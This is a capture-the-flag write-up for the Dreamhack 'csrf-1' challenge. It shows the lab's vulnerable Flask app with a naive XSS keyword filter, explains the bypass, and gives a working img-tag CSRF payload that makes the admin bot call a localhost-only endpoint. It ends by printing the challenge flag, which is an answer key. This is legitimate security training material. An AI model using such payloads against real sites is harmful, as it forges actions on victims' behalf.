csrf-1
- Level: 1
- Link: https://dreamhack.io/wargame/challenges/26/
Description
It is a service that implements several functions and a bot that checks the entered URL.
Use the CSRF vulnerability to obtain the flag.
Attached
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#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
print(str(e))
# return str(e)
return False
driver.quit()
return True
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
app.run(host="0.0.0.0", port=8000)
Analyzation
We want to get into ./admin/notice_flag
to get flag, but Access Denied
.
Check the source code
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@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
So request address
must be 127.0.0.1
and userid
must be "admin"
.
We need to send request
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http://127.0.0.1:8000/admin/notice_flag?userid=admin
After requesting that url (somehow), the flag will be added to memo_text
. Just get into /memo
and get flag
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@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
Target is clear. Now we need a place to input that url. There it is, /flag
.
Get into /flag
, the request is
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http://127.0.0.1:8000/vuln?param=xxx
Let’s check what will happen when we send request
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@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
XSS Filter!
There is another way to bypass it: CSRF.
Solution
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http://127.0.0.1:8000/vuln?param=<img src="http://127.0.0.1:8000/admin/notice_flag?userid=admin">
The flag is
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DH{11a230801ad0b80d52b996cbe203e83d}
This post is licensed under CC BY 4.0 by the author.